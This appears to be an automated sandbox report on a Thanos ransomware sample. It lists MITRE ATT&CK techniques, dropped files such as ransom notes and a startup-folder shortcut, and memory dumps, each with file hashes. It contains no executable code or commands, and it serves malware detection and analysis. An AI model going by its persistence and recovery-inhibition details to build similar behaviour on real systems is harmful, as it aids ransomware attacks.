Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\HOW_TO_DECYPHER_FILES.txt

Filesize
446B

MD5
9520796899ab3dd7a9cd50cbfb496e1a

SHA1
565860779c4d3f9a7034b806b21493ddc9c79809

SHA256
6ffef872ffcf921b88e4a26ef7584cc6c6fa4862b16f1606ce78df72d39f3c48

SHA512
e8d7343d4178cfcb9b5b70a561f9e901606a59a15e394cabd55b748b34ce4bfbf8326a0278703a8c5486d244b2a291f2611687909852bd0be9e9d558c76c6344

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8B2B9A00839EED1DFDCCC3BFC2F5DF12

Filesize
1KB

MD5
67e486b2f148a3fca863728242b6273e

SHA1
452a84c183d7ea5b7c015b597e94af8eef66d44a

SHA256
facaf1c3a4bf232abce19a2d534e495b0d3adc7dbe3797d336249aa6f70adcfb

SHA512
d3a37da3bb10a9736dc03e8b2b49baceef5d73c026e2077b8ebc1b786f2c9b2f807e0aa13a5866cf3b3cafd2bc506242ef139c423eaffb050bbb87773e53881e

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B46811C17859FFB409CF0E904A4AA8F8

Filesize
436B

MD5
971c514f84bba0785f80aa1c23edfd79

SHA1
732acea710a87530c6b08ecdf32a110d254a54c8

SHA256
f157ed17fcaf8837fa82f8b69973848c9b10a02636848f995698212a08f31895

SHA512
43dc1425d80e170c645a3e3bb56da8c3acd31bd637329e9e37094ac346ac85434df4edcdbefc05ae00aea33a80a88e2af695997a495611217fe6706075a63c58

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8B2B9A00839EED1DFDCCC3BFC2F5DF12

Filesize
174B

MD5
50bb1575c1393d9a3697c3dae6fb2b6c

SHA1
e874da64f63eff1d7c598524356642c3c5abf330

SHA256
c26fedfb02d6b14481a7fda78139830cf2cf6a0fd6a6ed4d032cebb119a5dee9

SHA512
2f91fa27c36314f83634cba40d3db6f144843c3e7f28600c0f2458ab4fe0730705efc34e2ba830a423aff039ee2a19d8bcda08e00507cb27c3a11c7bd9d5d01b

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B46811C17859FFB409CF0E904A4AA8F8

Filesize
170B

MD5
f0a512ec082edd72089e275e5c569d8b

SHA1
d53c416f97e7f5d7884cb999e35344b69a662dec

SHA256
59fcc1cd8f0c6170b6f25a56aec14b60bafd15c5374b7a4a14c874003bae42dc

SHA512
f71c6001864cb73f036c4cf4c5a0e477b6d9936dc5e681184cd60125e9689f65721981866687109d99b03268d08b2cf46962f6bd7baa884a1a464fd86cde0509

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState

Filesize
649B

MD5
ea601f7557372c938038511691e72819

SHA1
7246e60ed9f53c7d8c7251a9dbddd6ad097647f6

SHA256
43b73c7130f50c345ff3ccb8812d8667318e68e4730deb43e0f413d67a98c637

SHA512
f4020d9bd4f97118bd253f55d0ab6cd10aa88162be112d2dd9f03f94beb849fce2ca2b46437a09c990662e15e18e2633fa6abbd5a02d07fc582310f13e36dec2

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
2KB

MD5
d07b6c78f46670b7baa834ac65d80036

SHA1
7c65291f00482e1227b1d1d9584d3fb906b23d2f

SHA256
28a84a17a62c2c9defcbacfe7e74ae72c4d2a4811fb714ca9dfbb27cf010dd99

SHA512
4fb3cfd734443463fbddcce25a2e1b50b07a5d305e91b4b947f581ed41f661922beb9add5ea73fc0f4b2427da787ede2ccf796c0268d3d7fcaa18976c6d28009

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
2KB

MD5
2ca1a23f9416b66d25180a00db9b90a8

SHA1
1eab7e4b1fd9d10aac25cd9436d66ccadb6cd42f

SHA256
888a7a029a9fd67237a06567aa562a2c9e018ab18d633c75b4469abd9b793147

SHA512
16c24a80a5f08acdddab763d84be175bdd2bdb6cb16f6807eaa69a0b5279c8570f88d71fb9d29474c3eff97eef5b3a25bcd3b5413750becb61f0d1d674dd232a

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

Filesize
2KB

MD5
89bc63e70a3f37631d12d384a9ed4146

SHA1
566aaccb6e8a00a067a1a3fe3e0b83b71d3fe82b

SHA256
b4d2f2f662b7ec0da6c4bd664da69fcc22a382296cb662094acb17a0ae67a495

SHA512
f749b5ca19486529800a6432ca046949779ab4fc096e6aab1ac0d79d35027385fec80767f1ff77ded340c5ee22fa9a38d5de80ac50446c95c2bc45124af0baeb

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports

Filesize
2B

MD5
d751713988987e9331980363e24189ce

SHA1
97d170e1550eee4afc0af065b78cda302a97674c

SHA256
4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

SHA512
b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

Filesize
1KB

MD5
bbdf40027a966dc1edce479894ec339c

SHA1
0c683e6b1ca57a8036824cba01b113ecee5c26ce

SHA256
bb38f5f938e16ed4773b643553bff8b75513c4b0c1c658f164ad8b1eac6c8c85

SHA512
486bdc6bff2a9c9cdd3092605c7c57bda891eef459fa8073ad8ec38a2c7df425bf9fac24200e7151ba2ad86e28461403f602d6320b5c79f014ee59a2a7648aa2

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

Filesize
1KB

MD5
b6dcf0ecb9dddf705ac0c1534e5d52c9

SHA1
27b0af568c30cd3482cb0958192c3956f5bfc19d

SHA256
25fc2a1c62fa26ace2b90ddc94e2f5abb24b0b2e525a5ebfa041a1366154b79e

SHA512
82e6cbcc18a0738085b947787f577a381966a1330673042ac0eed7bb8042166b04701abb432063e6f3c927a4b6894dd168c46e76222d2af75c72973f2e7770ea

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
10KB

MD5
b5c0118f6f0df315105ec120298db466

SHA1
d7d53b7380f32f0f781bfb29d2b231e32080c998

SHA256
5595d69dbe6dc7e3b1be45c057145538d8c7098593d9661ea639376bed12badb

SHA512
43c5de43a2cb6150c6e1107a915d8bdf7dd8310bbea558e00f3c08eccdba34c4a077920afea181af4edba9a3d0f1c38b1af81c0936d8a0c3dda82e14d50b1b14

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
1c0feed57b941fdd6ef118c19336ac5c

SHA1
f7e16154494899ccb96c667a6abc08e7a614b79e

SHA256
69901215a6f57bb35e2145552adcdd71ba8db9eeb31cc29f878f915a712c8c5e

SHA512
fdb325e53586903cc7595afc0e792d016ff3c5db10754e3856122019f90e2eed595075633e0ec629416bc467c72e48c7f20841599c02dbacb65f4a2998f31005

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
b567ca3bb1d13b8238912ff76450659e

SHA1
dc29d727b566d5c91de1a822d5aaed699fa64bf9

SHA256
ebd9422ebaade65c1256aae1b0f0605c66f2922141c94bee6de03f9ff9c18cf8

SHA512
03fe4464ad63daa83d5f658177e86cb13ab66b5ed9cb383497d5285f122e5a3e3ee45240396b7123c0906e607bcba660bf4b712274e0c9060ed26f69f2550c9d

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
10KB

MD5
17c667849ecd92c8a834f02a88da223b

SHA1
8bcbbeb3e9655abdf731af9c69c56ddb5570ac1a

SHA256
5083a209841c34992e66b8ff94691f42899b1290d1907557dc8d5a0b4c8e7357

SHA512
ebbb6b1e302573ae5a000022fdc3bd48b6a930e80bd8415598566182dfc6de3fa1e2e39cfeae63e0c2dffaeb7d3dd310f41315b4e34db7f218b97d316b2f0c20

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
10KB

MD5
309060fe08d23c99dd686b53454ad2b8

SHA1
8e1fc2aa4f35b17cf6b92d910d23acf944b4933f

SHA256
c0f9304c10c946ed2ee3d7ab4037adabc6b1a8dfe27f533e8c2de631df8ac926

SHA512
93753749e9097ddcbb4101649437cc1a3942ed8998c201914271a126025afaa46ab02afd829e62a4dec4eba6eaa2e0b12eac2011ea80224d5e8324e8cebe0d50

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
116KB

MD5
9cd14fabc9b9e25f411ccad687bc424a

SHA1
d49e970286197905fc6b923dea21f8d944651bf9

SHA256
1245c5c4838115e3a69e46beee66239e4a0eb58046ca120d0e8e30d81d1e09fe

SHA512
d4fe5083b2d0aea685fd08787270491d36476f21af762f3c27222bfb12fe9e92db0f109a6daabe747e6e66b4f18685e3d5441b8dfa6775ba3daeb420b1a46669

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
116KB

MD5
91cf71eedd2010b32243dff7a19a9ac5

SHA1
8bb971729217d9e712b2ce65453d823dbe66233a

SHA256
1ea12c7bea133ede2ccc1f6eb67c012af9f962b144b4bd2c44a4482b59a3b609

SHA512
260379c768cc8f223b13ab967d2189626edd7608e6f0ed53daa4ae8e28955da5216a0a50d08f50ca2cb233f812685a42fd0e6ca0e89d963ed3116ab31ddf4ee1

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
116KB

MD5
e4841c75fdb233e0e6a289d1b93f1478

SHA1
120e61bb7f88362a5dfdd81acb39ec3f7def5ff1

SHA256
b08c65e2e947c7b5e14f71b5fc3c88f4b825d08bd5370da07d9b589449e8d1b1

SHA512
18246a6473e1ade69caf449ff0f6b0340f6f2d0e6ce04b9cf58913b0b879f5fde9b940181cf43eca29faa05925450f49053f1bbeb8a873e293d0479620dde065

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ShaderCache\data_1

Filesize
264KB

MD5
c4ff8ef4bd78d8739c2da662f7e79b52

SHA1
1548f2699bf1786fdbf05468376ba9ffb3eda562

SHA256
b56388b246c35514abf324f0c756ca2a26a27fad328d815e48a61dd7d4c52d9d

SHA512
786a93170e22a6b7177841e49bda265b8c2d55090366d768ad9a230c2b8657707f9fb868e223c3ca79c5f9ad863d91a2b8efbdae540aeb5d406beac5093265b9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Temp\HOW_TO_DECYPHER_FILES.txt

Filesize
810B

MD5
de09fbbf7f3b94cc2f7e36aa37065d06

SHA1
f0a868a9038530f81e4f8412904e3703bf416180

SHA256
f5e77fa11289a6dd102456608ccd8c5bd824b58123cd00cde1118a1ebd9db0d3

SHA512
17a2567038f0331a836a0cf5c6513855454d9c6656e6619f74f0f9d72f0f5a8cd721a88794f498c404804f226e1c99c966c4c265d637b80c0141697608f84de4

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_a5rfelv1.zv3.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk

Filesize
1006B

MD5
56f4c6b47437e06381af45a85fc0f611

SHA1
8118c7d7c39f49ed395fb0ae7fb19ee0e95368a5

SHA256
f20821e1db6ac90c932ac8f927cfdf4853041bdcb3f177d89dfa8541cccaf93f

SHA512
192a1f72f6191aea031b51cb73d318a5e57c3143c7649759e1ca56abc952e79e00fe020b2e652e22b36fb1dcc24128acab5a13fdd6ef1ef2f4cf6e7a538988d8

Download Submit
C:\Users\Admin\Desktop\2377dbwhA727bebt7ezrwt7.exe

Filesize
82KB

MD5
e01e11dca5e8b08fc8231b1cb6e2048c

SHA1
4983d07f004436caa3f10b38adacbba6a4ede01a

SHA256
58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f

SHA512
298bfb9fe55ddd80f1c6671622d7e9e865899a855b5bb8e0d85d8520160cedca6fd8bc72c9881925477bcab883bf6e6f4c69f997b774b74fe992e023a81269de

Download Submit
C:\Users\Admin\Desktop\2e7bx73r635634YXN2U92NXN9URN9Y8N3XRNY9.EXE

Filesize
91KB

MD5
be60e389a0108b2871dff12dfbb542ac

SHA1
14b4e0bfac64ec0f837f84ab1780ca7ced8d670d

SHA256
5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d

SHA512
6051bec441434a80c34ee2752a3da9c3a0307cd1b551aa27a0f7f6f75b9bf64b172745d80f03eea054a03ebd2c493df21fd48d8fa3b706d46a6f7fee0e7c0641

Download Submit
C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.hta

Filesize
1KB

MD5
71f380ab6f64aea14092a99da8c07793

SHA1
d1797498e3141a6f4e42d1d371a09ada267a6b39

SHA256
ad43af3a1914954895d4daa2cc8124bd1229d4fc684254c7153a79f24865c97e

SHA512
c1318181202e2e90bb2b8b545d9806cd1916d5857a9d87e857ffafc54cf585a981c384b957f3ba703323ba9abe26201ce8dfb991a402881a119e9615efdbb60d

Download Submit
C:\Users\Admin\Downloads\Ransomware.Thanos.zip

Filesize
145KB

MD5
00184463f3b071369d60353c692be6f0

SHA1
d3c1e90f39da2997ef4888b54d706b1a1fde642a

SHA256
cd0f55dd00111251cd580c7e7cc1d17448faf27e4ef39818d75ce330628c7787

SHA512
baa931a23ecbcb15dda6a1dc46d65fd74b46ccea8891c48f0822a8a10092b7d4f7ea1dc971946a161ac861f0aa8b99362d5bea960b47b10f8c91e33d1b018006

Download Submit
memory/788-395-0x0000022CDDE10000-0x0000022CDDE32000-memory.dmp

Filesize
136KB

Download
memory/2540-389-0x0000000000A70000-0x0000000000A8A000-memory.dmp

Filesize
104KB

Download
memory/5468-468-0x0000000005280000-0x00000000058A8000-memory.dmp

Filesize
6.2MB

Download
memory/5468-534-0x00000000061B0000-0x00000000061FC000-memory.dmp

Filesize
304KB

Download
memory/5468-533-0x0000000006190000-0x00000000061AE000-memory.dmp

Filesize
120KB

Download
memory/5468-526-0x0000000005D20000-0x0000000006074000-memory.dmp

Filesize
3.3MB

Download
memory/5468-514-0x0000000005910000-0x0000000005932000-memory.dmp

Filesize
136KB

Download
memory/5468-566-0x0000000006740000-0x0000000006772000-memory.dmp

Filesize
200KB

Download
memory/5468-567-0x000000006FCF0000-0x000000006FD3C000-memory.dmp

Filesize
304KB

Download
memory/5468-577-0x0000000007360000-0x000000000737E000-memory.dmp

Filesize
120KB

Download
memory/5468-579-0x0000000007380000-0x0000000007423000-memory.dmp

Filesize
652KB

Download
memory/5468-608-0x0000000007B00000-0x000000000817A000-memory.dmp

Filesize
6.5MB

Download
memory/5468-609-0x00000000074C0000-0x00000000074DA000-memory.dmp

Filesize
104KB

Download
memory/5468-610-0x0000000007530000-0x000000000753A000-memory.dmp

Filesize
40KB

Download
memory/5468-612-0x0000000007740000-0x00000000077D6000-memory.dmp

Filesize
600KB

Download
memory/5468-613-0x00000000076C0000-0x00000000076D1000-memory.dmp

Filesize
68KB

Download
memory/5468-614-0x00000000076F0000-0x00000000076FE000-memory.dmp

Filesize
56KB

Download
memory/5468-615-0x0000000007700000-0x0000000007714000-memory.dmp

Filesize
80KB

Download
memory/5468-616-0x0000000007800000-0x000000000781A000-memory.dmp

Filesize
104KB

Download
memory/5468-617-0x00000000077E0000-0x00000000077E8000-memory.dmp

Filesize
32KB

Download
memory/5468-515-0x00000000059B0000-0x0000000005A16000-memory.dmp

Filesize
408KB

Download
memory/5468-516-0x0000000005A20000-0x0000000005A86000-memory.dmp

Filesize
408KB

Download
memory/5468-467-0x0000000002870000-0x00000000028A6000-memory.dmp

Filesize
216KB

Download
memory/6112-453-0x0000000000600000-0x000000000061C000-memory.dmp

Filesize
112KB

Download